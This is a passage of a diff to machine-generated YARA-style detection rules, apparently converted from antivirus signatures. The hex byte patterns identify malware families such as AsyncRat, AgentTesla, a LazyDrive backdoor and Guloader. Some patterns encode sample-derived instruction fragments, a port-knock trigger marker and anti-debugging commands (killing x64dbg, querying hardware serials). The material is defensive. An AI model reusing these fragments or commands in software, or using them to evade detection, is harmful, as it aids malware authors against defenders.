00 2a 00 2a 00 20 00 50 00 4f 00 52 00 54 00 20 00 4b 00 4e 00 4f 00 43 00 4b 00 20 00 54 00 52 00 49 00 47 00 47 00 45 00 52 00 20 00 42 00 45 00 47 00 49 00 4e 00 20 00 2a 00 2a 00 2a 00 2a 00 3d 00 3d 00 3d 00 3d 00 2d 00 2d 00 2d 00 2d 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 } //30720 - $a_00_4 = {00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 74 4f 70 65 6e 53 65 63 74 69 6f 6e 21 73 79 73 63 61 6c 6c 00 01 00 a5 01 51 90 48 31 c0 90 66 8b 44 24 18 90 4d 31 ff 4c 8b 7c 24 20 90 48 8b 4c 24 30 90 48 8b 74 24 28 90 65 48 8b 3c 25 30 00 00 00 90 c7 47 68 00 00 00 00 90 48 81 ec 80 00 00 00 90 83 f9 00 7e 48 83 f9 04 90 7e 17 83 f9 10 90 7e 02 cd 03 90 48 89 e7 90 fc 90 f3 48 a5 90 48 89 e6 90 48 8b 0e 90 48 8b 56 08 90 4c 8b 46 10 90 4c 8b 4e 18 90 66 48 0f 6e c1 90 66 48 0f 6e ca 90 66 49 0f 6e d0 90 66 49 0f 6e d9 90 49 89 ca 90 41 ff d7 90 48 81 c4 80 00 00 00 59 89 44 24 38 48 8b 2c 24 48 83 c4 08 c3 00 } //30720 + $a_00_2 = {00 64 00 64 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 47 62 6f 74 2e 4d 52 21 4d 54 42 00 32 00 69 03 44 8b cb 4c 8d 44 24 50 48 8b f0 49 8b ce 48 8d 44 24 44 48 8b d6 48 89 44 24 20 ff 15 90 01 04 48 8d 0d 3a 5a ff ff c7 44 24 20 40 00 00 00 4c 8d 3d fa 58 ff ff 44 8b cf 41 2b cf 33 d2 48 63 d9 49 8b ce 4c 8b c3 ff 15 90 01 04 4c 8b cb 4d 8b c7 48 8b f8 49 8b ce 48 8d 44 24 44 48 8b d7 48 89 44 24 20 ff 15 90 00 19 00 23 01 43 0f be 14 19 41 8b c0 48 33 d0 41 c1 e8 08 0f b6 ca 48 8d 05 42 4f 01 00 49 ff c1 44 33 04 88 4d 3b ca 19 00 0d 01 41 32 00 49 ff c0 88 04 11 49 83 e9 01 00 } //30720 + $a_00_3 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 31 38 21 4d 54 42 00 01 00 9f 02 8b 45 0c 8b f3 2b c3 89 7d 0c 89 45 90 01 01 a1 90 01 04 3d 90 01 04 1b c9 33 d2 f7 d9 3b c8 0f 94 c2 33 c0 81 fa 90 01 04 8b 15 90 01 04 0f 95 c0 66 01 05 90 01 04 33 c9 83 fa 90 01 01 0f 9e c1 f7 c1 90 01 04 74 90 01 01 0f be 0d 90 01 04 b8 90 01 04 81 c1 90 01 04 99 f7 f9 33 c9 3d 90 01 04 a1 90 01 04 0f 94 c1 81 c1 90 01 04 33 d2 f7 f1 21 55 90 01 01 8b 55 90 1b 00 b9 90 01 04 8a 04 32 33 d2 88 06 8b 45 90 01 01 f7 f1 8b 45 0c 46 48 89 45 0c 89 55 90 1b 12 0f 85 90 00 00 } //30720 + $a_00_4 = {00 01 00 01 00 01 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 53 65 6e 64 50 4b 54 72 69 67 67 65 00 01 00 84 03 2d 00 2d 00 2d 00 2d 00 3d 00 3d 00 3d 00 3d 00 2a 00 2a 00 2a 00 2a 00 20 00 50 00 4f 00 52 00 54 00 20 00 4b 00 4e 00 4f 00 43 00 4b 00 20 00 54 00 52 00 49 00 47 00 47 00 45 00 52 00 20 00 42 00 45 00 47 00 49 00 4e 00 20 00 2a 00 2a 00 2a 00 2a 00 3d 00 3d 00 3d 00 3d 00 2d 00 2d 00 2d 00 2d 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*29264+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=40 } -rule _InfrastructureShared_13986{ +rule _InfrastructureShared_14908{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 47 62 6f 74 2e 4d 52 21 4d 54 42 00 32 00 69 03 44 8b cb 4c 8d 44 24 50 48 8b f0 49 8b ce 48 8d 44 24 44 48 8b d6 48 89 44 24 20 ff 15 90 01 04 48 8d 0d 3a 5a ff ff } //21539 + $a_20_1 = {00 00 00 4c 8d 3d fa 58 ff ff 44 8b cf 41 2b cf 33 d2 48 63 d9 49 8b ce 4c 8b c3 ff 15 90 01 04 4c 8b cb 4d } //17607 + $a_8b_2 = {49 8b ce 48 8d 44 24 44 48 8b d7 48 89 44 24 20 ff 15 90 00 19 00 23 01 43 0f be 14 19 41 8b c0 48 33 d0 41 c1 e8 08 0f b6 ca 48 8d 05 42 4f 01 00 49 ff c1 44 33 04 88 4d 3b ca 19 00 0d 01 41 32 00 49 ff c0 88 04 11 } //-14453 + condition: + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*17607+(#a_8b_2 & 1)*-14453) >=100 + +} +rule _InfrastructureShared_14909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -159127,7 +169819,7 @@ rule _InfrastructureShared_13986{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13987{ +rule _InfrastructureShared_14910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -159137,7 +169829,7 @@ rule _InfrastructureShared_13987{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13988{ +rule _InfrastructureShared_14911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -159147,7 +169839,7 @@ rule _InfrastructureShared_13988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13989{ +rule _InfrastructureShared_14912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -159161,7 +169853,7 @@ rule _InfrastructureShared_13989{ ((#a_54_0 & 1)*18467+(#a_f9_1 & 1)*5122+(#a_6e_2 & 1)*27247+(#a_00_3 & 1)*116+(#a_41_4 & 1)*11883) >=1 } -rule _InfrastructureShared_13990{ +rule _InfrastructureShared_14913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159171,7 +169863,7 @@ rule _InfrastructureShared_13990{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13991{ +rule _InfrastructureShared_14914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159181,7 +169873,7 @@ rule _InfrastructureShared_13991{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13992{ +rule _InfrastructureShared_14915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159192,7 +169884,7 @@ rule _InfrastructureShared_13992{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*14368) >=2 } -rule _InfrastructureShared_13993{ +rule _InfrastructureShared_14916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159202,7 +169894,7 @@ rule _InfrastructureShared_13993{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13994{ +rule _InfrastructureShared_14917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -159212,7 +169904,7 @@ rule _InfrastructureShared_13994{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13995{ +rule _InfrastructureShared_14918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -159223,7 +169915,7 @@ rule _InfrastructureShared_13995{ ((#a_46_0 & 1)*21283+(#a_90_2 & 1)*9738) >=2 } -rule _InfrastructureShared_13996{ +rule _InfrastructureShared_14919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159235,7 +169927,7 @@ rule _InfrastructureShared_13996{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14133+(#a_72_2 & 1)*29793) >=3 } -rule _InfrastructureShared_13997{ +rule _InfrastructureShared_14920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159246,7 +169938,7 @@ rule _InfrastructureShared_13997{ ((#a_63_0 & 1)*16931+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_13998{ +rule _InfrastructureShared_14921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159258,7 +169950,7 @@ rule _InfrastructureShared_13998{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*0+(#a_60_2 & 1)*1536) >=3 } -rule _InfrastructureShared_13999{ +rule _InfrastructureShared_14922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -159270,7 +169962,21 @@ rule _InfrastructureShared_13999{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*8228+(#a_48_2 & 1)*400) >=3 } -rule _InfrastructureShared_14000{ +rule _InfrastructureShared_14923{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4c 61 7a 79 44 72 69 76 65 2e 41 21 64 68 61 00 01 00 0d 01 6e 6f 72 6d 61 6c 2d 73 6c 65 65 70 79 01 00 0b 01 73 65 6d 69 2d 73 6c 65 65 70 79 01 00 0d 01 53 6c 65 65 70 79 20 73 74 } //16675 + $a_73_1 = {00 3e 01 45 72 72 6f 72 20 69 6e 20 67 65 74 74 69 6e 67 20 76 61 6c 75 65 20 66 72 6f 6d 20 6a 73 6f 6e 20 66 69 6c 65 20 2c 20 6d 61 79 62 65 20 43 67 72 69 64 20 69 73 20 69 6e 76 61 6c 69 64 02 00 2a 01 2f 76 31 2e 30 2f 6d 65 2f 64 72 69 76 65 2f 72 6f 6f 74 3a 2f 65 6d 70 6c 6f 79 65 65 2f 46 6f 6c 64 65 72 5f 4e 61 6d 65 2f 00 00 78 ce 00 00 } //29793 + $a_00_2 = {05 00 21 } //3 + $a_46_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 69 73 6f 6e 61 6c 2e 41 21 64 68 61 00 03 00 21 01 44 6f 6d 61 69 6e 22 3a 20 22 25 73 22 2c 22 4e 6f 74 65 22 3a 20 22 25 73 22 2c 22 49 6e 5f 49 50 02 00 26 01 68 74 74 70 3a 2f 2f 25 } //16675 + $a_64_4 = {25 73 3f 74 79 70 65 3d 32 26 68 61 73 68 3d 25 73 26 74 69 6d 65 3d 25 73 01 00 19 01 66 6f 72 6d 2d 64 61 74 } //14963 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29793+(#a_00_2 & 1)*3+(#a_46_3 & 1)*16675+(#a_64_4 & 1)*14963) >=3 + +} +rule _InfrastructureShared_14924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -159284,7 +169990,7 @@ rule _InfrastructureShared_14000{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*14963+(#a_6e_2 & 1)*15201+(#a_61_3 & 1)*28274+(#a_ce_4 & 1)*0) >=3 } -rule _InfrastructureShared_14001{ +rule _InfrastructureShared_14925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -159298,7 +170004,7 @@ rule _InfrastructureShared_14001{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29298+(#a_ce_2 & 1)*0+(#a_43_3 & 1)*-32751+(#a_74_4 & 1)*25964) >=3 } -rule _InfrastructureShared_14002{ +rule _InfrastructureShared_14926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -159315,7 +170021,7 @@ rule _InfrastructureShared_14002{ ((#a_63_0 & 1)*17699+(#a_6e_1 & 1)*17220+(#a_00_2 & 1)*21581+(#a_69_3 & 1)*26995+(#a_65_4 & 1)*28526+(#a_69_5 & 1)*25970+(#a_73_6 & 1)*21620+(#a_6d_7 & 1)*21343) >=3 } -rule _InfrastructureShared_14003{ +rule _InfrastructureShared_14927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159328,7 +170034,7 @@ rule _InfrastructureShared_14003{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*31077+(#a_6d_2 & 1)*28192+(#a_6e_3 & 1)*28248) >=4 } -rule _InfrastructureShared_14004{ +rule _InfrastructureShared_14928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159341,7 +170047,7 @@ rule _InfrastructureShared_14004{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*26984+(#a_67_2 & 1)*12108+(#a_11_3 & 1)*4952) >=4 } -rule _InfrastructureShared_14005{ +rule _InfrastructureShared_14929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159354,7 +170060,7 @@ rule _InfrastructureShared_14005{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*4356+(#a_05_2 & 1)*1299+(#a_75_3 & 1)*385) >=4 } -rule _InfrastructureShared_14006{ +rule _InfrastructureShared_14930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159366,7 +170072,7 @@ rule _InfrastructureShared_14006{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*775+(#a_54_3 & 1)*8448) >=4 } -rule _InfrastructureShared_14007{ +rule _InfrastructureShared_14931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -159379,7 +170085,7 @@ rule _InfrastructureShared_14007{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*97+(#a_4c_2 & 1)*18432+(#a_6e_3 & 1)*20028) >=4 } -rule _InfrastructureShared_14008{ +rule _InfrastructureShared_14932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -159393,7 +170099,7 @@ rule _InfrastructureShared_14008{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_79_2 & 1)*25445+(#a_73_3 & 1)*27753+(#a_00_4 & 1)*0) >=4 } -rule _InfrastructureShared_14009{ +rule _InfrastructureShared_14933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -159407,7 +170113,7 @@ rule _InfrastructureShared_14009{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*19488+(#a_ce_2 & 1)*0+(#a_00_4 & 1)*69+(#a_00_5 & 1)*72) >=4 } -rule _InfrastructureShared_14010{ +rule _InfrastructureShared_14934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -159417,7 +170123,7 @@ rule _InfrastructureShared_14010{ ((#a_66_0 & 1)*21283) >=5 } -rule _InfrastructureShared_14011{ +rule _InfrastructureShared_14935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -159430,7 +170136,7 @@ rule _InfrastructureShared_14011{ ((#a_54_0 & 1)*18467+(#a_99_1 & 1)*400+(#a_24_2 & 1)*4900+(#a_6c_3 & 1)*28482) >=5 } -rule _InfrastructureShared_14012{ +rule _InfrastructureShared_14936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -159442,7 +170148,7 @@ rule _InfrastructureShared_14012{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28561+(#a_90_2 & 1)*23326) >=5 } -rule _InfrastructureShared_14013{ +rule _InfrastructureShared_14937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -159455,7 +170161,7 @@ rule _InfrastructureShared_14013{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25457+(#a_6d_2 & 1)*29010+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_14014{ +rule _InfrastructureShared_14938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159470,7 +170176,7 @@ rule _InfrastructureShared_14014{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_67_2 & 1)*21356+(#a_72_3 & 1)*28783+(#a_74_4 & 1)*31090+(#a_20_5 & 1)*385) >=6 } -rule _InfrastructureShared_14015{ +rule _InfrastructureShared_14939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159485,7 +170191,7 @@ rule _InfrastructureShared_14015{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_61_2 & 1)*385+(#a_54_3 & 1)*4864+(#a_6f_4 & 1)*29550+(#a_64_5 & 1)*27424) >=6 } -rule _InfrastructureShared_14016{ +rule _InfrastructureShared_14940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159500,7 +170206,7 @@ rule _InfrastructureShared_14016{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26479+(#a_00_2 & 1)*6+(#a_6e_3 & 1)*22330+(#a_6e_4 & 1)*28018+(#a_54_5 & 1)*8499) >=6 } -rule _InfrastructureShared_14017{ +rule _InfrastructureShared_14941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159515,7 +170221,7 @@ rule _InfrastructureShared_14017{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29285+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_14018{ +rule _InfrastructureShared_14942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159530,7 +170236,7 @@ rule _InfrastructureShared_14018{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*9587+(#a_74_2 & 1)*25436+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_14019{ +rule _InfrastructureShared_14943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -159539,13 +170245,13 @@ rule _InfrastructureShared_14019{ $a_6e_1 = {75 73 74 72 69 61 6c 69 73 65 01 00 19 81 01 73 6d 61 61 70 69 67 65 72 20 66 6f 72 73 61 6d 6c 69 6e 67 65 72 6e 65 73 01 00 1f 81 01 77 6f 72 6b 61 62 6c 65 6e 65 73 73 65 73 20 63 79 74 6f 62 6c 61 73 74 65 6d 61 74 6f 75 73 01 00 17 81 01 67 6c 69 73 74 65 72 65 64 20 6b 65 6e 64 65 72 6d 69 6e 65 72 6e 65 00 } //385 $a_00_2 = {00 06 00 06 00 09 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 36 00 01 00 0a 80 01 68 6d 74 61 6c 6b 2e 63 6f 6d 01 00 0e 80 01 4c 69 76 65 55 70 64 61 74 65 2e 65 78 65 01 00 1a 80 01 63 6f 6d 2e 65 6d 62 61 72 63 61 64 65 72 6f 2e 4c 69 76 65 55 70 64 61 74 65 01 00 0d 80 01 4c 62 6c 41 64 76 65 72 74 69 73 65 31 01 00 06 80 01 47 65 74 41 43 50 01 00 11 80 01 4d 6f 6e 69 74 6f 72 46 72 6f 6d 57 69 6e 64 6f 77 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 } //30720 $a_00_3 = {00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 1c 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f 6e 44 69 61 6c 6f 67 4d 65 73 73 61 67 65 01 00 1a 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f 6e 44 69 61 6c 6f 67 54 69 74 6c 65 01 00 0c 80 01 68 76 72 4f 66 66 65 72 4e 65 78 74 01 00 19 80 01 6d 73 67 53 63 72 65 65 6e 4f 66 66 65 72 44 65 73 63 72 69 70 74 69 6f 6e 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 14 80 01 41 76 61 73 74 20 46 72 65 65 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 6d 75 6c 74 69 73 65 74 75 70 5f 6c 6f 67 6f 2e 70 6e 67 00 } //30720 - $a_00_4 = {00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 } //30720 - $a_00_5 = {00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 4d 43 43 43 43 43 01 00 07 80 01 4d 43 43 43 43 43 31 01 00 07 80 01 52 65 76 65 72 73 65 01 00 1c 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 2e 4d 43 43 43 43 43 2e 72 65 73 6f 75 72 63 65 73 01 00 07 80 01 47 65 74 54 79 70 65 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 00 } //30720 + $a_00_4 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4a 30 31 21 4d 54 42 00 01 00 13 81 01 6e 79 74 61 61 72 73 61 66 74 6e 65 72 6e 65 2e 74 78 74 01 00 11 81 01 74 76 72 72 65 74 6e 69 6e 67 65 6e 73 2e 6c 69 65 01 00 0c 81 01 73 61 78 6f 6e 69 65 73 2e 6a 70 67 01 00 14 81 01 42 6c 65 6e 6e 69 69 66 6f 72 6d 65 73 32 32 33 2e 6a 70 67 01 00 0e 81 01 43 79 63 6c 6f 73 74 6f 6d 69 2e 54 6f 74 01 00 0d 81 01 54 72 75 6d 66 65 64 65 73 2e 6b 61 73 01 00 11 81 01 55 6e 64 69 73 74 72 65 73 73 31 38 38 2e 69 6e 69 01 00 0e 81 01 5c 4d 61 75 64 6c 69 6e 6c 79 2e 44 61 61 00 } //30720 + $a_00_5 = {00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*385+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_14020{ +rule _InfrastructureShared_14944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -159554,45 +170260,79 @@ rule _InfrastructureShared_14020{ $a_4c_1 = {76 65 55 70 64 61 74 65 01 00 0d 80 01 4c 62 6c 41 64 76 65 72 74 69 73 65 31 01 00 06 80 01 47 65 74 41 43 50 01 00 11 80 01 4d 6f 6e 69 } //28530 $a_46_2 = {6f 6d 57 69 6e 64 6f 77 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 ce 00 00 07 00 07 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 53 65 74 75 70 00 01 00 1c 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f } //28532 $a_61_3 = {6f 67 4d 65 73 73 61 67 65 01 00 1a 80 01 6f 66 66 65 72 73 52 65 6a 65 63 74 69 6f 6e 44 69 61 6c 6f 67 54 69 74 6c 65 01 00 0c 80 01 68 76 72 4f 66 66 65 72 4e 65 78 74 01 00 19 80 01 6d 73 67 53 63 72 65 65 6e 4f 66 66 65 72 44 65 73 63 72 69 70 74 69 6f 6e 01 00 0a 80 01 75 73 65 64 4f 66 66 65 72 73 01 00 14 } //17518 - $a_76_4 = {73 74 20 46 72 65 65 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 6d 75 6c 74 69 73 65 74 75 70 5f 6c 6f 67 6f 2e 70 6e 67 00 00 78 ce 00 00 09 00 09 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //384 - $a_6e_5 = {34 2f 41 73 79 6e 63 52 61 74 2e 43 43 49 51 21 4d 54 42 00 05 00 17 01 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 78 36 34 64 62 67 2e 65 78 65 01 00 26 01 77 6d 69 63 20 64 69 73 6b 64 72 69 76 65 20 67 65 74 20 6d 6f 64 65 6c 2c 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 19 01 77 6d 69 63 20 63 70 75 20 67 65 74 } //22330 - $a_72_6 = {61 6c 6e 75 6d 62 65 72 01 00 1a 01 77 6d 69 63 20 62 69 6f 73 20 67 65 74 20 73 65 72 69 61 6c 6e 75 6d 62 65 72 01 00 1d 01 5b 30 6d 20 4d 4f 54 48 45 52 42 4f 41 52 44 20 53 65 72 69 61 6c 20 4e 75 6d 62 65 72 00 00 78 ce 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //29472 - $a_65_7 = {74 54 65 73 6c 61 2e 4f 58 42 50 21 4d 54 42 00 01 00 0b 80 01 50 45 46 69 6c 65 4b 69 6e 64 73 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 06 80 01 49 6e 76 6f 6b 65 01 00 06 80 01 4d 43 43 43 43 43 01 00 07 80 01 4d 43 43 43 43 43 } //16687 + $a_76_4 = {73 74 20 46 72 65 65 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 6d 75 6c 74 69 